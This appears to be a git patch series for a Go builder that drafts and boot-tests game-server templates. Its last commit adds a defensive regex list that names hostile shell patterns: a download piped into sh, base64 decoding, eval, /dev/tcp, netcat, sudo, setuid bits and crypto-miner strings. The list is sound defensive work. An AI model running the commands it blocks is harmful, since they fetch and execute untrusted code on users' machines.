+ for i, p := range paths { + // A folder is followed (sorted) by the entries inside it + if i+1 < len(paths) && strings.HasPrefix(paths[i+1], p+"/") { + continue + } + leaves = append(leaves, kinds[p]+" "+p) + } + return leaves +} + func (b *booter) cleanup() { - exec.Command("docker", "rm", "-f", b.container).Run() + // -v: the anonymous volumes of the image's VOLUME folders go with it + exec.Command("docker", "rm", "-f", "-v", b.container).Run() for _, vol := range uniqueValues(b.mounts) { exec.Command("docker", "volume", "rm", vol).Run() } @@ -730,13 +804,6 @@ func describeLine(l logLine) string { return fmt.Sprintf("[%s] %s", where, text) } -func docker(args ...string) error { - if out, err := exec.Command("docker", args...).CombinedOutput(); err != nil { - return fmt.Errorf("docker %s: %v: %s", args[0], err, strings.TrimSpace(string(out))) - } - return nil -} - func inspectField(container, format string) string { out, _ := exec.Command("docker", "inspect", "-f", format, container).Output() return strings.TrimSpace(string(out)) diff --git a/cmd/gbrgames/firstboot_test.go b/cmd/gbrgames/firstboot_test.go index 17c58a1..4a6530e 100644 --- a/cmd/gbrgames/firstboot_test.go +++ b/cmd/gbrgames/firstboot_test.go @@ -2,6 +2,7 @@ package main import ( "regexp" + "strings" "testing" ) @@ -103,3 +104,39 @@ func TestConfigCandidates(t *testing.T) { } } } + +func TestOutsideFilesCountsEverySaveButNotSystemOrTransientFiles(t *testing.T) { + diff := `C /home +C /home/steam +A /home/steam/.config +A /home/steam/.config/example +A /home/steam/.config/example/worlds +A /home/steam/.config/example/worlds/world1.db +A /home/steam/.config/example/worlds/world1.fwl +A /home/steam/.config/example/Player.log +C /etc +C /etc/hostname +A /tmp/x.sock +A /server/should-not-count.sav +D /home/steam/old.txt +A /home/steam/server.pid` + got := outsideFiles(diff, map[string]string{"/server": "v", "/data": "v"}) + want := []string{"A /home/steam/.config/example/worlds/world1.db", "A /home/steam/.config/example/worlds/world1.fwl"} + if strings.Join(got, "|") != strings.Join(want, "|") { + t.Errorf("got %q\nwant %q", got, want) + } +} + +func TestUntouchedPayloadDeploysWithoutTemplateSettings(t *testing.T) { + p := untouchedPayload(&bootSpec{Image: "example/image", Startup: "./server", SteamAppID: "1000000", MemoryMb: 4096, + User: "1000:1000", Env: map[string]string{"EULA": "TRUE"}}) + if p["installMethod"] != "STEAMCMD" || p["installConfig"].(map[string]any)["appId"] != "1000000" || p["timeoutSec"] != 2400 { + t.Errorf("steam install: %v", p) + } + if p["startupCommand"] != "./server" || p["dockerNetwork"] != bootTestNetwork || p["gameConfig"].(map[string]any)["EULA"] != "TRUE" { + t.Errorf("payload: %v", p) + } + if _, ok := untouchedPayload(&bootSpec{Image: "x"})["startupCommand"]; ok { + t.Error("no startup command means the image's own entrypoint") + } +} diff --git a/schema/test.schema.json b/schema/test.schema.json index 90bb70b..fcf3124 100644 --- a/schema/test.schema.json +++ b/schema/test.schema.json @@ -32,6 +32,12 @@ "type": "integer", "minimum": 10, "maximum": 3600 + }, + "holdSec": { + "description": "How long the server must stay up after its ready line to pass (default 60). Its published ports are checked after it.", + "type": "integer", + "minimum": 0, + "maximum": 3600 } } } From 0dc784dfa27bae78b725ddcf95d67deed906474e Mon Sep 17 00:00:00 2001 From: Greg Date: Mon, 26 Oct 2026 00:01:54 -0400 Subject: [PATCH 2/6] fix(builder): use a local node-agent image when it can't be pulled Co-Authored-By: Claude Opus 5.5 --- cmd/gbrgames/agentboot.go | 14 ++++++++++++++ cmd/gbrgames/build.go | 4 ++-- cmd/gbrgames/firstboot.go | 4 ++-- 3 files changed, 18 insertions(+), 4 deletions(-) diff --git a/cmd/gbrgames/agentboot.go b/cmd/gbrgames/agentboot.go index 3e4dbff..d145077 100644 --- a/cmd/gbrgames/agentboot.go +++ b/cmd/gbrgames/agentboot.go @@ -21,6 +21,20 @@ func agentImageFromEnv() string { return defaultAgentImage } +// pullAgentImage fetches the latest node-agent image. A copy that is only local (a test build) is used as +// it is. +func pullAgentImage(img string) error { + out, err := runCmd("docker", "pull", "-q", img) + if err == nil { + return nil + } + if _, inspectErr := runCmd("docker", "image", "inspect", img); inspectErr == nil { + fmt.Printf("[agent] could not pull %s (%s); using the local copy\n", img, firstLine(out)) + return nil + } + return fmt.Errorf("docker pull %s: %v: %s", img, err, out) +} + // runAgentBootTest deploys a payload with BootTest and returns its output; passed is its verdict. func runAgentBootTest(payload map[string]any, agentImage string) (output string, passed bool, err error) { container := fmt.Sprint(payload["containerName"]) diff --git a/cmd/gbrgames/build.go b/cmd/gbrgames/build.go index e4a07d6..e4f48b8 100644 --- a/cmd/gbrgames/build.go +++ b/cmd/gbrgames/build.go @@ -255,8 +255,8 @@ func firstBoot(name, image, steamApp string, steam bool, startup string) (*bootR // bootCheck deploys the template with the node-agent's BootTest, the same check CI runs, and when the // game wrote files outside its volume on the first boot, boots it once more to see that it no longer does. func bootCheck(gamesDir, id, agentImage string, wantOutside bool) (problems, verified []string, err error) { - if out, err := runCmd("docker", "pull", "-q", agentImage); err != nil { - return nil, nil, fmt.Errorf("docker pull %s: %v: %s", agentImage, err, out) + if err := pullAgentImage(agentImage); err != nil { + return nil, nil, err } output, passed, problems, err := agentBoot(gamesDir, id, agentImage, false) if err != nil || problems != nil { diff --git a/cmd/gbrgames/firstboot.go b/cmd/gbrgames/firstboot.go index 1b33b04..cc80955 100644 --- a/cmd/gbrgames/firstboot.go +++ b/cmd/gbrgames/firstboot.go @@ -146,8 +146,8 @@ func runFirstBoot(args []string) error { return err } } - if out, err := runCmd("docker", "pull", "-q", b.agentImage); err != nil { - return fmt.Errorf("docker pull %s: %v: %s", b.agentImage, err, out) + if err := pullAgentImage(b.agentImage); err != nil { + return err } if !*keep { defer b.cleanup() From d225e49a8a83deb7bd4f57e00827d00f5a5b4565 Mon Sep 17 00:00:00 2001 From: Greg Date: Mon, 26 Oct 2026 00:05:37 -0400 Subject: [PATCH 3/6] feat(boot-test): test.yaml unboundPorts for ports opened only when a player connects Some servers open a published port only once a player connects (through a proxy, for example), so the boot test's port check can't see it after boot. A template lists those ports as unboundPorts in its test.yaml, with the reason. The first template that needs it lists one UDP port, until a real client confirms how players reach it. Co-Authored-By: Claude Opus 5.5 --- cmd/gbrgames/boottest.go | 12 +++++++++++- cmd/gbrgames/boottest_test.go | 15 +++++++++++++++ games/minecraft-crossplay/test.yaml | 4 ++++ schema/test.schema.json | 5 +++++ 4 files changed, 35 insertions(+), 1 deletion(-) diff --git a/cmd/gbrgames/boottest.go b/cmd/gbrgames/boottest.go index bdd5526..22662ff 100644 --- a/cmd/gbrgames/boottest.go +++ b/cmd/gbrgames/boottest.go @@ -136,10 +136,20 @@ func bootTestPayload(gamesDir, id string, fillBlank bool) (map[string]any, error } } // Once up, the server must listen on what nodes publish: the container side of every default port + // test.yaml's unboundPorts are published but only opened once a player connects; each is listed by + // hand, with the reason in a comment + unbound := map[string]bool{} + if list, ok := test["unboundPorts"].([]any); ok { + for _, p := range list { + unbound[fmt.Sprint(p)] = true + } + } expectPorts := []any{} if ports, ok := g["defaultPorts"].([]any); ok { for _, p := range ports { - expectPorts = append(expectPorts, fmt.Sprint(p)) + if !unbound[fmt.Sprint(p)] { + expectPorts = append(expectPorts, fmt.Sprint(p)) + } } } diff --git a/cmd/gbrgames/boottest_test.go b/cmd/gbrgames/boottest_test.go index 34693a3..60fd5ba 100644 --- a/cmd/gbrgames/boottest_test.go +++ b/cmd/gbrgames/boottest_test.go @@ -106,3 +106,18 @@ func TestBootTestPayloadAsksForPublishedPortsAndHold(t *testing.T) { t.Errorf("missing secret: %v", err) } } + +func TestBootTestPayloadLeavesOutUnboundPorts(t *testing.T) { + dir := t.TempDir() + game := filepath.Join(dir, "example") + os.MkdirAll(game, 0o755) + os.WriteFile(filepath.Join(game, "game.yaml"), []byte("id: example\nname: Example\ndefaultDockerImage: x\ndefaultPorts:\n - 30000/tcp\n - 30001/udp\n"), 0o644) + os.WriteFile(filepath.Join(game, "test.yaml"), []byte("unboundPorts:\n - 30001/udp\n"), 0o644) + p, err := bootTestPayload(dir, "example", false) + if err != nil { + t.Fatal(err) + } + if ports := p["expectPorts"].([]any); len(ports) != 1 || ports[0] != "30000/tcp" { + t.Errorf("expectPorts %v", ports) + } +} diff --git a/games/minecraft-crossplay/test.yaml b/games/minecraft-crossplay/test.yaml index 04dc007..8d214bc 100644 --- a/games/minecraft-crossplay/test.yaml +++ b/games/minecraft-crossplay/test.yaml @@ -4,3 +4,7 @@ config: EULA: true readyExample: '[21:37:42 INFO]: Done (16.390s)! For help, type "help"' timeoutSec: 900 +# Bedrock players go through Geyser's NetherNet transport (see JVM_OPTS), which opens no UDP socket at +# startup: after boot the server listens on 25565/tcp and 19132/tcp only. To verify with a Bedrock client. +unboundPorts: + - 19132/udp diff --git a/schema/test.schema.json b/schema/test.schema.json index fcf3124..90e632b 100644 --- a/schema/test.schema.json +++ b/schema/test.schema.json @@ -33,6 +33,11 @@ "minimum": 10, "maximum": 3600 }, + "unboundPorts": { + "description": "Published ports the server only opens once a player connects, so the boot test doesn't expect them open. Each one exactly as in defaultPorts, with the reason in a comment.", + "type": "array", + "items": { "type": "string" } + }, "holdSec": { "description": "How long the server must stay up after its ready line to pass (default 60). Its published ports are checked after it.", "type": "integer", From 709cdb51e83945bb1334833d028741cf4551ce21 Mon Sep 17 00:00:00 2001 From: Greg Date: Mon, 26 Oct 2026 00:27:57 -0400 Subject: [PATCH 4/6] fix(builder): don't count Docker's init or the Steam client's own files as lost saves Every container the node-agent starts gets /usr/sbin/docker-init, and SteamCMD rewrites its own config.vdf on every run. Counted as files written outside the volumes, they made every build look like it loses saves. A folder whose only changes were logs no longer counts either, and a folder followed by a same-named file (worlds, worlds.bak) is no longer taken for a file. Co-Authored-By: Claude Opus 5.5 --- cmd/gbrgames/build_test.go | 2 + cmd/gbrgames/draft.go | 13 +----- cmd/gbrgames/firstboot.go | 82 +++++++++++++++++++++------------- cmd/gbrgames/firstboot_test.go | 17 ++++++- 4 files changed, 71 insertions(+), 43 deletions(-) diff --git a/cmd/gbrgames/build_test.go b/cmd/gbrgames/build_test.go index 7f6a0c3..24b1c9e 100644 --- a/cmd/gbrgames/build_test.go +++ b/cmd/gbrgames/build_test.go @@ -30,7 +30,9 @@ func TestOutsideDirsSkipsSteamNoise(t *testing.T) { r := &bootReport{ContainerChanges: []string{ "A /home/steam/.config/example-game/worlds/w.db", "A /home/steam/Steam/logs/connection_log.txt", + "C /home/steam/Steam/config/config.vdf", "C /home/steam/.steam/registry.vdf", + "A /usr/sbin/docker-init", }} got := outsideDirs(r) if len(got) != 1 || got[0] != "/home/steam/.config/example-game/worlds" { diff --git a/cmd/gbrgames/draft.go b/cmd/gbrgames/draft.go index d8d4ba3..f69a08f 100644 --- a/cmd/gbrgames/draft.go +++ b/cmd/gbrgames/draft.go @@ -336,9 +336,6 @@ func closestVar(name string, vars []string) string { return best } -// Files the Steam client, Proton and the OS write for themselves: not the game's data -var outsideNoise = []string{"/Steam/logs/", "/.steam/", "/steamcmd/", "/.cache/", "/tmp/", "/.local/share/umu"} - // savesOutsideVolumes turns first boot's "written outside the volumes" into a hard check: anything the // game itself wrote there (worlds or player lists under the user's home folder) is lost every time the // node recreates the container. A template passes once its startup command or settings point the game at @@ -372,14 +369,8 @@ func outsideDirs(report *bootReport) []string { } dirs := map[string]bool{} for _, c := range report.ContainerChanges { - _, p, _ := strings.Cut(c, " ") - noise := false - for _, n := range outsideNoise { - if strings.Contains(p, n) { - noise = true - } - } - if !noise && p != "" { + // A report saved by an older version can still list files that aren't the game's state + if _, p, _ := strings.Cut(c, " "); p != "" && !notGameState(p) { dirs[path.Dir(p)] = true } } diff --git a/cmd/gbrgames/firstboot.go b/cmd/gbrgames/firstboot.go index cc80955..dbe2200 100644 --- a/cmd/gbrgames/firstboot.go +++ b/cmd/gbrgames/firstboot.go @@ -512,16 +512,36 @@ func (b *booter) fileLines(report *bootReport) []logLine { return out } -// System folders and files that aren't the game's state: what's written there doesn't matter when lost +// Files that aren't the game's state, so losing them doesn't matter: system folders, Docker's own init +// (in every container started with --init), logs, lock and pid files, and what the Steam client, Proton +// and the OS keep for themselves in the home folder var ( - systemPrefixes = []string{"/tmp", "/proc", "/sys", "/dev", "/run", "/etc", "/var/log", "/var/cache", "/var/tmp", "/var/lib/apt"} + systemPrefixes = []string{"/tmp", "/proc", "/sys", "/dev", "/run", "/etc", "/var/log", "/var/cache", "/var/tmp", "/var/lib/apt", "/usr/sbin/docker-init"} transientExt = map[string]bool{".log": true, ".pid": true, ".lock": true, ".tmp": true, ".swp": true} + clientNoise = []string{"/Steam/logs/", "/Steam/config/", "/Steam/appcache/", "/.steam/", "/steamcmd/", "/.cache/", "/tmp/", "/.local/share/umu"} ) +func notGameState(p string) bool { + if transientExt[strings.ToLower(path.Ext(p))] { + return true + } + for _, prefix := range systemPrefixes { + if p == prefix || strings.HasPrefix(p, prefix+"/") { + return true + } + } + for _, n := range clientNoise { + if strings.Contains(p, n) { + return true + } + } + return false +} + // containerChanges lists the files the server wrote anywhere but /server and /data. All of them are // lost when the node recreates the container (every start): in the container's own filesystem, and in -// the image's VOLUME folders, which Docker gives fresh anonymous volumes each time. Logs, lock and pid -// files are left out; saves of any kind are not. +// the image's VOLUME folders, which Docker gives fresh anonymous volumes each time. Files that aren't +// the game's state are left out; saves of any kind are not. func (b *booter) containerChanges() []string { var changes []string if out, err := exec.Command("docker", "diff", b.container).Output(); err == nil { @@ -541,7 +561,7 @@ func (b *booter) containerChanges() []string { n := 0 for _, f := range strings.Split(strings.TrimSpace(string(files)), "\n") { rel := strings.TrimPrefix(f, "/v/") - if f == "" || transientExt[strings.ToLower(path.Ext(rel))] { + if f == "" || notGameState(path.Join(dest, rel)) { continue } if n++; n > 200 { @@ -553,42 +573,42 @@ func (b *booter) containerChanges() []string { return changes } -// outsideFiles picks the files out of `docker diff` output: added or changed leaves (docker diff lists -// folders too) outside the mounted volumes and system folders, without transient files. +// outsideFiles picks the game's files out of `docker diff` output: added or changed outside the mounted +// volumes. docker diff lists folders too, as changed when anything inside them changed, so a folder only +// counts when nothing inside it did (it was created empty). func outsideFiles(diff string, mounts map[string]string) []string { - var paths []string kinds := map[string]string{} + parents := map[string]bool{} for _, line := range strings.Split(strings.TrimSpace(diff), "\n") { kind, p, ok := strings.Cut(strings.TrimSpace(line), " ") - if !ok || kind == "D" || p == "" { + if !ok || p == "" { continue } - skip := transientExt[strings.ToLower(path.Ext(p))] - for _, prefix := range systemPrefixes { - if p == prefix || strings.HasPrefix(p, prefix+"/") { - skip = true - } - } - for mount := range mounts { - if p == mount || strings.HasPrefix(p, mount+"/") { - skip = true - } - } - if !skip { - paths = append(paths, p) - kinds[p] = kind + kinds[p] = kind + for d := path.Dir(p); d != "/" && d != "."; d = path.Dir(d) { + parents[d] = true } } - sort.Strings(paths) - var leaves []string - for i, p := range paths { - // A folder is followed (sorted) by the entries inside it - if i+1 < len(paths) && strings.HasPrefix(paths[i+1], p+"/") { - continue + var files []string + for p, kind := range kinds { + if kind != "D" && !parents[p] && !notGameState(p) && !inMounts(p, mounts) { + files = append(files, p) } - leaves = append(leaves, kinds[p]+" "+p) } - return leaves + sort.Strings(files) + for i, p := range files { + files[i] = kinds[p] + " " + p + } + return files +} + +func inMounts(p string, mounts map[string]string) bool { + for mount := range mounts { + if p == mount || strings.HasPrefix(p, mount+"/") { + return true + } + } + return false } func (b *booter) cleanup() { diff --git a/cmd/gbrgames/firstboot_test.go b/cmd/gbrgames/firstboot_test.go index 4a6530e..f8217d9 100644 --- a/cmd/gbrgames/firstboot_test.go +++ b/cmd/gbrgames/firstboot_test.go @@ -113,15 +113,30 @@ A /home/steam/.config/example A /home/steam/.config/example/worlds A /home/steam/.config/example/worlds/world1.db A /home/steam/.config/example/worlds/world1.fwl +A /home/steam/.config/example/worlds.bak A /home/steam/.config/example/Player.log +C /home/steam/logs +A /home/steam/logs/server.log +C /home/steam/Steam +C /home/steam/Steam/config +C /home/steam/Steam/config/config.vdf +C /home/steam/steamcmd/linux64/steamclient.so C /etc C /etc/hostname +C /usr +C /usr/sbin +A /usr/sbin/docker-init +C /var +C /var/log +A /var/log/x A /tmp/x.sock A /server/should-not-count.sav D /home/steam/old.txt A /home/steam/server.pid` got := outsideFiles(diff, map[string]string{"/server": "v", "/data": "v"}) - want := []string{"A /home/steam/.config/example/worlds/world1.db", "A /home/steam/.config/example/worlds/world1.fwl"} + // Folders whose only changes aren't the game's (logs, Docker's init) don't count either + want := []string{"A /home/steam/.config/example/worlds.bak", "A /home/steam/.config/example/worlds/world1.db", + "A /home/steam/.config/example/worlds/world1.fwl"} if strings.Join(got, "|") != strings.Join(want, "|") { t.Errorf("got %q\nwant %q", got, want) } From f11c5eaf2f246c3b5086a5cdb077f2621c80cd7b Mon Sep 17 00:00:00 2001 From: Greg Date: Mon, 26 Oct 2026 00:06:48 -0400 Subject: [PATCH 5/6] feat(builder): bounded model requests, a safety check, and a clearer PR summary - The drafter no longer grows one conversation. Each request is the rules and facts, the model's latest template, what is wrong now and one line per earlier round, so long builds can't push the facts out of the model's 32K context (Ollama drops the oldest part silently). The image's scripts in the facts are capped at 24000 characters in all, and diagnosis check results at 16000. - Every model call logs its prompt and answer tokens, with a warning near the context limit. - unsafeCommands: a draft whose startup command or installConfig pipes a download into a shell, decodes base64, uses eval, raw network tools or /dev/tcp, sudo/su, setuid bits, writes /etc, touches cron/systemd/firewall, or looks like a miner goes back to the model. AUTHORING.md has the rule. - The PR summary lists every address nodes would download from under "Review carefully", marks the measured checks as measured, and labels the research notes as the model's reading, not checked. Co-Authored-By: Claude Opus 5.5 --- AUTHORING.md | 4 ++ cmd/gbrgames/build.go | 13 ++++- cmd/gbrgames/diagnose.go | 4 ++ cmd/gbrgames/draft.go | 93 ++++++++++++++++++++++++-------- cmd/gbrgames/draft_test.go | 35 ++++++++++++ cmd/gbrgames/draftchecks.go | 76 ++++++++++++++++++++++++++ cmd/gbrgames/draftchecks_test.go | 48 +++++++++++++++++ 7 files changed, 249 insertions(+), 24 deletions(-) diff --git a/AUTHORING.md b/AUTHORING.md index ea34765..b35efc2 100644 --- a/AUTHORING.md +++ b/AUTHORING.md @@ -61,6 +61,10 @@ Know this before writing anything: - Quote text settings where they're used: `-name "${SERVER_NAME}"`. `ARGS="-name ${SERVER_NAME}"; ./server $ARGS` splits "GBRHosting - My Server" into words; build optional arguments in a bash array instead (`args=(-name "$SERVER_NAME"); [ -n "$PASSWORD" ] && args+=(-password "$PASSWORD"); ./server "${args[@]}"`). +- Templates run on players' own machines. The startup command and install never pipe a download into a + shell, decode hidden (base64) content, use `eval`, raw network tools or `/dev/tcp`, become another user, + or touch the machine (`/etc`, cron, systemd, firewall). Files a server needs come from `installMethod` + or `installConfig.files`, from the game's official source; every download address is listed for review. - If the image installs the game itself on start, make sure a failed install is retried rather than starting a server that isn't there: log in to SteamCMD once (`+login anonymous +quit`) before the install, and retry the install a few times until the server's executable exists. diff --git a/cmd/gbrgames/build.go b/cmd/gbrgames/build.go index e4f48b8..f452313 100644 --- a/cmd/gbrgames/build.go +++ b/cmd/gbrgames/build.go @@ -406,11 +406,20 @@ func buildSummary(o buildOptions, res *buildResult) string { } fmt.Fprintf(&b, "\n- Model rounds: %d\n", res.Rounds) if len(res.Verified) > 0 { - b.WriteString("\n**Checked for real**\n") + b.WriteString("\n**Checked for real** (measured by the builder, not the model's word)\n") for _, v := range res.Verified { fmt.Fprintf(&b, "- %s\n", v) } } + // What a node will fetch from the internet for this game: the part of a template a reviewer must check + if g, err := loadMap(filepath.Join(res.Dir, "game.yaml")); err == nil { + if urls := downloadURLs(g); len(urls) > 0 { + b.WriteString("\n**Review carefully: nodes download from these addresses**\n") + for _, u := range urls { + fmt.Fprintf(&b, "- %s\n", u) + } + } + } if len(res.Problems) > 0 { b.WriteString("\n**Still open** (the builder could not fix these)\n") for _, p := range res.Problems { @@ -424,7 +433,7 @@ func buildSummary(o buildOptions, res *buildResult) string { } } if o.variant.Notes != "" { - fmt.Fprintf(&b, "\n**Notes from research:** %s\n", o.variant.Notes) + fmt.Fprintf(&b, "\n**From the sources** (the model's reading of the pages below, not checked): %s\n", o.variant.Notes) } if len(o.variant.Sources) > 0 { b.WriteString("\n**Sources**\n") diff --git a/cmd/gbrgames/diagnose.go b/cmd/gbrgames/diagnose.go index 6d82750..5594a91 100644 --- a/cmd/gbrgames/diagnose.go +++ b/cmd/gbrgames/diagnose.go @@ -188,6 +188,10 @@ func (iv *investigator) runChecks(checks []checkRequest) string { } b.WriteString("\n") } + // Bounded, like every request: pages can be long, and the model's context is not + if s := b.String(); len(s) > 16000 { + return s[:16000] + "\n...(cut: check results too long)\n" + } return b.String() } diff --git a/cmd/gbrgames/draft.go b/cmd/gbrgames/draft.go index f69a08f..4ddc84b 100644 --- a/cmd/gbrgames/draft.go +++ b/cmd/gbrgames/draft.go @@ -86,8 +86,10 @@ type draftJob struct { Docs string } -// drafter holds one conversation with the model about one game, so later problems (a failed boot) can -// be sent back to it with everything it was told before. +// drafter keeps what the model needs about one game across rounds. Each request is rebuilt from it +// instead of growing one conversation: a local model's context is limited, and when a conversation +// outgrows it the oldest part, the facts, is silently dropped. A request is the rules and the facts, +// the model's latest template, what is wrong with it now, and one line per earlier round. type drafter struct { job draftJob dir, id string @@ -95,7 +97,9 @@ type drafter struct { facts *imageFacts gameSchema, testSchema *jsonschema.Schema answerSchema map[string]any - messages []chatMessage + base []chatMessage // the rules and the facts + last string // the model's latest answer (or the template being repaired) + history []string // one line per earlier round rounds int } @@ -137,13 +141,29 @@ func newDrafter(j draftJob) (*drafter, error) { if why := imageUnusable(j.Report); why != "" { return nil, errors.New(why) } - d.messages = []chatMessage{ + d.base = []chatMessage{ {Role: "system", Content: draftSystemPrompt(string(rules))}, {Role: "user", Content: draftRequest(j.Name, id, j.Image, j.SteamApp, j.Notes, d.facts, j.Report)}, } return d, nil } +// request builds one request: the rules and facts, and once there is a template, that template with +// what is wrong with it and a line per earlier round. +func (d *drafter) request(problems []string) []chatMessage { + msgs := append([]chatMessage{}, d.base...) + if d.last == "" { + return msgs + } + var b strings.Builder + b.WriteString("Your template (above) has these problems. Fix all of them and answer with the complete corrected " + + "JSON object (both \"game\" and \"test\"):\n- " + strings.Join(problems, "\n- ")) + if len(d.history) > 0 { + b.WriteString("\n\nEarlier rounds (already dealt with: don't undo those fixes):\n- " + strings.Join(d.history, "\n- ")) + } + return append(msgs, chatMessage{Role: "assistant", Content: d.last}, chatMessage{Role: "user", Content: b.String()}) +} + func gameID(name string) string { return strings.Trim(regexp.MustCompile(`[^a-z0-9]+`).ReplaceAllString(strings.ToLower(name), "-"), "-") } @@ -152,20 +172,20 @@ func gameID(name string) string { // attempts+1 answers. feedback, when given, is what went wrong since the last answer (e.g. its boot). // It returns the problems still left, nil when the draft passes. func (d *drafter) refine(attempts int, feedback []string) ([]string, error) { - if len(feedback) > 0 { - d.ask(feedback) - } - var problems []string + problems := feedback for round := 0; round <= attempts; round++ { d.rounds++ fmt.Printf("[draft] round %d: asking %s\n", d.rounds, d.m.name()) start := time.Now() - answer, err := d.m.chat(d.messages, d.answerSchema) + answer, err := d.m.chat(d.request(problems), d.answerSchema) if err != nil { return nil, err } fmt.Printf("[draft] answer in %.0fs\n", time.Since(start).Seconds()) - d.messages = append(d.messages, chatMessage{Role: "assistant", Content: answer}) + if len(problems) > 0 { + d.history = append(d.history, fmt.Sprintf("round %d fixed: %s", d.rounds, summarize(problems))) + } + d.last = answer if problems = d.check(answer); len(problems) == 0 { fmt.Printf("[draft] %s passes validation and the image checks\n", d.dir) @@ -175,16 +195,20 @@ func (d *drafter) refine(attempts int, feedback []string) ([]string, error) { for _, p := range problems { fmt.Println(" - " + p) } - if round < attempts { - d.ask(problems) - } } return problems, nil } -func (d *drafter) ask(problems []string) { - d.messages = append(d.messages, chatMessage{Role: "user", Content: "Your template has these problems. Fix all of them and " + - "answer with the complete corrected JSON object (both \"game\" and \"test\"):\n- " + strings.Join(problems, "\n- ")}) +// summarize is one line for the round history: the first problem, and how many more. +func summarize(problems []string) string { + s := firstLine(problems[0]) + if len(s) > 160 { + s = s[:160] + "…" + } + if len(problems) > 1 { + s += fmt.Sprintf(" (and %d more)", len(problems)-1) + } + return s } func (d *drafter) check(answer string) []string { @@ -203,6 +227,7 @@ func (d *drafter) check(answer string) []string { problems = append(problems, splitSettings(g)...) problems = append(problems, portSettings(g)...) problems = append(problems, undocumentedOptions(g, d.job.Docs, d.facts)...) + problems = append(problems, unsafeCommands(g)...) } } return problems @@ -407,12 +432,22 @@ func draftRequest(gameName, id, image, steamApp, notes string, facts *imageFacts fmt.Fprintf(&b, "- notes: %s\n", notes) } + // The image's scripts are the biggest part of the facts: 8000 characters each, 24000 in all, so the + // request leaves the model room for the rest and for its answer f := *facts f.Scripts = map[string]string{} - for p, s := range facts.Scripts { - if len(s) > 8000 { - s = s[:8000] + "\n...(truncated)" + budget := 24000 + for _, p := range sortedKeysString(facts.Scripts) { + s := facts.Scripts[p] + limit := min(8000, budget) + if limit <= 0 { + f.Scripts[p] = "(left out: too long for the request)" + continue } + if len(s) > limit { + s = s[:limit] + "\n...(truncated)" + } + budget -= len(s) f.Scripts[p] = s } fj, _ := json.MarshalIndent(f, "", " ") @@ -660,17 +695,22 @@ type ollamaModel struct{ url, model string } func (o *ollamaModel) name() string { return "ollama " + o.model + " at " + o.url } +// The model's context in tokens. Ollama silently drops the oldest part of a prompt that doesn't fit, so +// every request reports how much of it is used +const ollamaContext = 32768 + func (o *ollamaModel) chat(messages []chatMessage, schema map[string]any) (string, error) { body := map[string]any{ "model": o.model, "messages": messages, "stream": false, "format": schema, - // Ollama silently truncates input beyond its default context - "options": map[string]any{"num_ctx": 32768, "temperature": 0.2}, + "options": map[string]any{"num_ctx": ollamaContext, "temperature": 0.2}, } var resp struct { Message struct { Content string `json:"content"` } `json:"message"` - Error string `json:"error"` + PromptTokens int `json:"prompt_eval_count"` + AnswerTokens int `json:"eval_count"` + Error string `json:"error"` } if err := postJSON(o.url+"/api/chat", body, &resp, 30*time.Minute); err != nil { return "", err @@ -678,9 +718,18 @@ func (o *ollamaModel) chat(messages []chatMessage, schema map[string]any) (strin if resp.Error != "" { return "", errors.New("ollama: " + resp.Error) } + fmt.Println(contextNote(resp.PromptTokens, resp.AnswerTokens)) return resp.Message.Content, nil } +func contextNote(prompt, answer int) string { + note := fmt.Sprintf("[model] %d prompt + %d answer tokens of %d", prompt, answer, ollamaContext) + if prompt+answer >= ollamaContext*9/10 { + note += ": WARNING, close to the model's context; the start of the prompt may have been cut" + } + return note +} + type geminiModel struct{ key, model string } func (g *geminiModel) name() string { return "gemini " + g.model } diff --git a/cmd/gbrgames/draft_test.go b/cmd/gbrgames/draft_test.go index 09ac806..79086d3 100644 --- a/cmd/gbrgames/draft_test.go +++ b/cmd/gbrgames/draft_test.go @@ -128,3 +128,38 @@ func TestExampleTemplateFollowsTheRules(t *testing.T) { t.Error(p) } } + +func TestDrafterRequestStaysTheSameSizeEveryRound(t *testing.T) { + d := &drafter{base: []chatMessage{{Role: "system", Content: "rules"}, {Role: "user", Content: "facts"}}} + if got := d.request(nil); len(got) != 2 { + t.Fatalf("first request should be the rules and facts only, got %d messages", len(got)) + } + d.last = `{"game":{"id":"example"}}` + d.history = []string{"round 1 fixed: defaultPorts is empty", "round 2 fixed: setting X has no title"} + got := d.request([]string{"booting your template failed: FAILED: server crashed"}) + if len(got) != 4 || got[2].Role != "assistant" || got[2].Content != d.last { + t.Fatalf("want rules, facts, the latest template and the problems; got %+v", got) + } + last := got[3].Content + for _, want := range []string{"server crashed", "round 1 fixed: defaultPorts is empty", "don't undo"} { + if !strings.Contains(last, want) { + t.Errorf("missing %q in %s", want, last) + } + } + // However many rounds there were, still four messages: nothing piles up + for i := 0; i < 10; i++ { + d.history = append(d.history, "another round") + } + if n := len(d.request([]string{"x"})); n != 4 { + t.Errorf("request grew to %d messages", n) + } +} + +func TestContextNoteWarnsNearTheLimit(t *testing.T) { + if strings.Contains(contextNote(12000, 2000), "WARNING") { + t.Error("warned too early") + } + if !strings.Contains(contextNote(28000, 2000), "WARNING") { + t.Error("no warning near the limit") + } +} diff --git a/cmd/gbrgames/draftchecks.go b/cmd/gbrgames/draftchecks.go index 097341c..297d3b0 100644 --- a/cmd/gbrgames/draftchecks.go +++ b/cmd/gbrgames/draftchecks.go @@ -323,3 +323,79 @@ func launchOptions(cmd string) []string { } return out } + +// Things a game server's startup or install never needs, and that a prompt-injected or careless model +// could write. Templates run on players' own machines, so a draft with any of them goes back to the model. +var unsafePatterns = []struct { + re *regexp.Regexp + what string +}{ + {regexp.MustCompile(`(?i)(curl|wget)[^|;&\n]*\|\s*(sudo\s+)?(ba|z|da)?sh\b`), "pipes a download straight into a shell"}, + {regexp.MustCompile(`(?i)base64\s+(-d|--decode)`), "decodes hidden (base64) content"}, + {regexp.MustCompile(`(^|[^\w-])eval\s`), "runs text as a command (eval)"}, + {regexp.MustCompile(`/dev/(tcp|udp)/`), "opens raw network connections"}, + {regexp.MustCompile(`(^|[^\w-])(nc|ncat|netcat|socat)\s`), "uses a raw network tool"}, + {regexp.MustCompile(`(^|[^\w-])(sudo|su)\s`), "tries to become another user"}, + {regexp.MustCompile(`chmod\s+([0-7]*[4-7][0-7]{3}\b|[ugoa]*\+[rwx]*s)`), "sets setuid/setgid bits"}, + {regexp.MustCompile(`(>|\btee\s+(-a\s+)?)\s*/etc/`), "writes to /etc"}, + {regexp.MustCompile(`(?i)(^|[^\w-])(crontab|systemctl|iptables|mount|insmod|modprobe)\s`), "changes the machine itself"}, + {regexp.MustCompile(`(?i)xmrig|minerd|stratum\+tcp|cryptonight`), "looks like a cryptocurrency miner"}, +} + +// unsafeCommands checks the 